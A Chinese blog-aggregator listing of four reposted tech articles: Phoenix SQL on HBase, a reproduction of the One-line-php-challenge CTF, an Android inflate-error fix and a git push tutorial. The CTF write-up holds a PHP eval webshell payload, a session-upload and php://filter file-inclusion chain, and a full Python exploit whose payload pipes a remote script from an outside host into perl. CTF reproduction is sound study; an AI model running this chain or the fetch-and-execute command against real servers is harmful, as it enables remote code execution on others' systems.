首页 文章 精选 留言 我的

精选列表

搜索[line],共4212篇文章
优秀的个人博客,低调大师

Sql Line操作使用Hbase

应用场景 按照 完全分布式Hadoop集群安装Phoenix博文,安装了phoenix后,可以通过普通的SQL方式,操作HBASE,使hbase分布式非关系型数据库,更加易于用户的使用。 操作步骤 1. 启动phoenix # sqlline.py hadoop0,hadoop1,hadoop2:2181 > !tables #启动完毕后,输入该命令进行测试 [root@hadoop0 opt]# sqlline.py hadoop0,hadoop1,hadoop2:2181 Setting property: [incremental, false] Setting property: [isolation, TRANSACTION_READ_COMMITTED] issuing: !connect jdbc:phoenix:hadoop0,hadoop1,hadoop2:2181 none none org.apache.phoenix.jdbc.PhoenixDriver Connecting to jdbc:phoenix:hadoop0,hadoop1,hadoop2:2181 SLF4J: Class path contains multiple SLF4J bindings. SLF4J: Found binding in [jar:file:/opt/phoenix4.10.0/phoenix-4.10.0-HBase-1.2-client.jar!/org/slf4j/impl/StaticLoggerBinder.class] SLF4J: Found binding in [jar:file:/opt/hadoop2.6.0/share/hadoop/common/lib/slf4j-log4j12-1.7.5.jar!/org/slf4j/impl/StaticLoggerBinder.class] SLF4J: See http://www.slf4j.org/codes.html#multiple_bindings for an explanation. 17/11/29 13:37:24 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable Connected to: Phoenix (version 4.10) Driver: PhoenixEmbeddedDriver (version 4.10) Autocommit status: true Transaction isolation: TRANSACTION_READ_COMMITTED Building list of tables and columns for tab-completion (set fastconnect to true to skip)... 92/92 (100%) Done Done sqlline version 1.2.0 0: jdbc:phoenix:hadoop0,hadoop1,hadoop2:2181> !tables +------------+--------------+-------------+---------------+----------+------------+----------------------+ | TABLE_CAT | TABLE_SCHEM | TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_NAME | SELF_REFERENCING_COL | +------------+--------------+-------------+---------------+----------+------------+----------------------+ | | SYSTEM | CATALOG | SYSTEM TABLE | | | | | | SYSTEM | FUNCTION | SYSTEM TABLE | | | | | | SYSTEM | SEQUENCE | SYSTEM TABLE | | | | | | SYSTEM | STATS | SYSTEM TABLE | | | | +------------+--------------+-------------+---------------+----------+------------+----------------------+ 2. 创建表 > create table test(id integer not null primary key,name varchar); 0: jdbc:phoenix:hadoop0,hadoop1,hadoop2:2181> create table test(id integer not null primary key,name varchar); No rows affected (1.338 seconds) 3. 插入数据 > upsert into test values(0,'xubin'); 0: jdbc:phoenix:hadoop0,hadoop1,hadoop2:2181> upsert into test values(0,'xubin'); 1 row affected (0.012 seconds) 4. 查询数据 > select * from test; 0: jdbc:phoenix:hadoop0,hadoop1,hadoop2:2181> select * from test; +-----+--------+ | ID | NAME | +-----+--------+ | 0 | xubin | | 1 | hello | +-----+--------+ 2 rows selected (0.03 seconds) 5. 退出phoenix > !q 0: jdbc:phoenix:hadoop0,hadoop1,hadoop2:2181> !q Closing: org.apache.phoenix.jdbc.PhoenixConnection

优秀的个人博客,低调大师

复现One-line-php-challenge

https://www.anquanke.com/post/id/162656http://wonderkun.cc/index.html/?p=718 环境 ubuntu 18.04 php 7.2 PS:lsb_release -a //查看ubuntu的发行版本 题目 <?php ($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__); ?> PS:通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出头6个字符和 @<?php 比对,如果配对成功那么就会包含这个文件,否则就什么都不做 解题思路: 通过 PHP_SESSION_UPLOAD_PROGRESS控制 session 文件 php7.2的session文件存储路径是固定的/var/lib/php/sessions/sess_{php_session_id} 文件的开头必须是 @<?php,sess文件中的内容 upload_progress_K0rz3n|a:5:{s:10:"start_time";i:1540314711;s:14:"content_length";i:764161;s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"submit";s:4:"name";s:7:"tmp.gif";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540314711;s:15:"bytes_processed";i:5302;}}} 这个文件是以 upload_progress 开头的,不能直接包含,需要控制这个开头。 convert.base64-decode Base64的索引表由64个ASCII字符组成:0-9,26个英文小写字母a-z,26个英文大写字母:A-Z,除此之外还有额外两个字符"+"和"/"。遇到不符合 base64 规定字符的就会将其忽略 string.strip_tags 从字符串中去除 HTML 和 PHP 标记 最终payload upload_progress_是16个字符,但是根据 b64 的 decode 规则,其中只有14个字符能解析,但是 14个字符又不是 4 的整数倍,于是我们必须添加两个字符,将其变成16位。必须要保证在加了这个字符以后每次 b64 可解码的位数都是4 的整数倍,要不然就会吞掉我们的 payload。 echo "upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);'))); 得到: upload_progress_ZZVVVSM0wyTkhhSGRKUjFZeVdWZDNiMHBHT1VoU1ZsSmlUVll3Y0U5M1BUMD0= 三次解码: 查看源码 Orange大佬的 exp import sys import string import requests from base64 import b64encode from random import sample, randint from multiprocessing.dummy import Pool as ThreadPool HOST = 'http://54.250.246.238/' sess_name = 'iamorange' headers = { 'Connection': 'close', 'Cookie': 'PHPSESSID=' + sess_name } payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>' while 1: junk = ''.join(sample(string.ascii_letters, randint(8, 16))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: print xxx break def runner1(i): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z' } while 1: fp = open('/etc/passwd', 'rb') r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) fp.close() def runner2(i): filename = '/var/lib/php/sessions/sess_' + sess_name filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename # print filename while 1: url = '%s?orange=%s' % (HOST, filename) r = requests.get(url, headers=headers) c = r.content if c and 'orange' not in c: print if sys.argv[1] == '1': runner = runner1 else: runner = runner2 pool = ThreadPool(32) result = pool.map_async( runner, range(32) ).get(0xffff)

优秀的个人博客,低调大师

Android运行时异常“Binary XML file line # : Error inflating class”

http://blog.csdn.net/huangxiaohu_coder/article/details/8497286 在原生Android下编译APK,编译没有问题,但是在运行的时候经常出现如标题所描述的异常,然后整个程序Crash掉...... 我遇到该问题常常都是因为修改了资源文件所引起,大致有以下几种方式来解决: 1.引用类名问题:自定义了一个View,将他用于布局文件中,假设他的包名叫MyPackage,类名叫MyTestView,这个时候你在XML作为布局元素来布局的话,必须使用完整路径名,也就是包名加类名来引用,用MyPackage.MyTestView来进行引用。 2.构造函数问题:自定义一个View,必须派生实现基类View的三个构造函数 View(Context context) //Simple constructor to use when creating a view from code View(Context context, AttributeSet attrs) //Constructor that is called when inflating a view from XML View(Context context, AttributeSet attrs, int defStyle) //Perform inflation from XML and apply a class-specific base style 从文档上的介绍来看,第二个和第三个构造函数对于XML这种引用方式是必须实现的,这三个构造函数应该是在不同的应用场合来实例化一个View对象。 3.编译的中间文件没有清理干净:第三种就是你在原生系统代码的编译环境下编译APK之后,特别是修改了XML,出现标题所述现象,这个时候你只需要删除out目录下编译生成的中间文件夹即可(具体名字记不清了:在编译过程中,系统会将那个位置打印出来,通过串口来看吧,.../out/....../..../classes.dex,你循着这个路径往前推到你的应用的project名字那一层文件夹),删除再重新make就OK了。 或者重新拉代码 4.找不到资源文件:我原来在2.3的原生系统增加动态壁纸的时候,动态壁纸一跑起来就出这个异常,然后crash,当时就是因为找不到drawable的资源文件,于是当时我把drawable的hdpi或nodpi等文件夹的图片资源都拷贝一份到drawble下,问题解决(当时一直不明白系统会根据分辨率来选择加载不同drawable下文件夹的资源,为什么这里必须放入drawable中)。 分类: android solve 本文转自wanqi博客园博客,原文链接:http://www.cnblogs.com/wanqieddy/p/4990608.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

iOS:使用Github托管自己本地的项目代码方式三(命令行方式: Terminal Line

使用终端命令行将本地项目代码上传到github上进行托管 对于IOS开发者来说,Github的使用是必须要掌握的一种技能,而把项目由本地上传到Github有多种方式 1、开发工具Xcode配置Git,由Xcode-->Source Control-->Commit; 2、使用Github客户端上传代码; 3、使用终端命令行上传到Github。其中我的Github地址有我根据实际项目制作的一个配置说明书https://github.com/FISHBALL1/Xcode-git,现在来介绍第三种命令行上传到Github的办法,也是我个人比较喜欢的一种方法。 具体步骤如下: 第一步:建立本地git仓库 cd到你的本地项目根目录下,执行git命令 git init 第二步:将本地项目工作区的所有文件添加到暂存区 git add . //如果想添加项目中的指定文件,那就把.改为指定文件名即可 第三步:将暂存区的文件提交到本地仓库 git commit -m "" //冒号里面写注释语句 第四步:在Github上创建自己的repository,创建如图所示 ------点击下面的Create repository就会进入下面这个界面,然后复制一下地址栏里的https地址-------- 第五步:将本地仓库关联到Github上 git remote add origin https://github.com/FISHBALL1/DropList //后面的URL地址就是我在第四步时复制的那个https地址 在这一步时如果出现错误:fatal:remote origin already exists 那就先输入 git remote rm origin 再输入git remote add origin https://github.com/FISHBALL1/DropList 就不会报错了。 第六步:最后一步,将代码由本地仓库上传到Github远程仓库 git push -u origin master 执行完之后如果无错误就上传成功了,需要提示的是这里的master是Github默认的分支,如果你本地的当前分支不是master,就用git checkout master命令切换到master分支,如果你想用本地当前分支上传代码,则把第六步的命令里的master切换成你的当前分支名即可。 如果出现了错误,应该是之前已经创建的repository远程仓库里面的文件有了更新,导致现在本地仓库项目版本和远程仓库项目版本不一致。此时,需要先使用pull从远程仓库获取来更新本地的项目,即命令行是:git pull --rebase origin master,然后在使用push上传更新后的项目。 出现该问题解决办法参考地址:http://www.crifan.com/git_github_git_push_origin_master_error_failed_to_push_some_refs_to/ 上传成功界面 最后分享一些Github常用的命令: 切换分支:git checkout name 撤销修改:git checkout -- file 删除文件:git rm file 查看状态:git status 添加记录:git add file 或 git add . 添加描述:git commit -m "miao shu nei rong" 同步数据:git pull 提交数据:git push origin name 分支操作 查看分支:git branch 创建分支:git branch name 切换分支:git checkout name 创建+切换分支:git checkout -b name 合并某分支到当前分支:git merge name 删除分支:git branch -d name 删除远程分支:git push origin :name Original Link:http://blog.csdn.net/fishball1/article/details/52020305 Git技术覆盖github:https://github.com/521xueweihan/git-tips 程序猿神奇的手,每时每刻,这双手都在改变着世界的交互方式! 本文转自当天真遇到现实博客园博客,原文链接:http://www.cnblogs.com/XYQ-208910/p/5829946.html ,如需转载请自行联系原作者

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册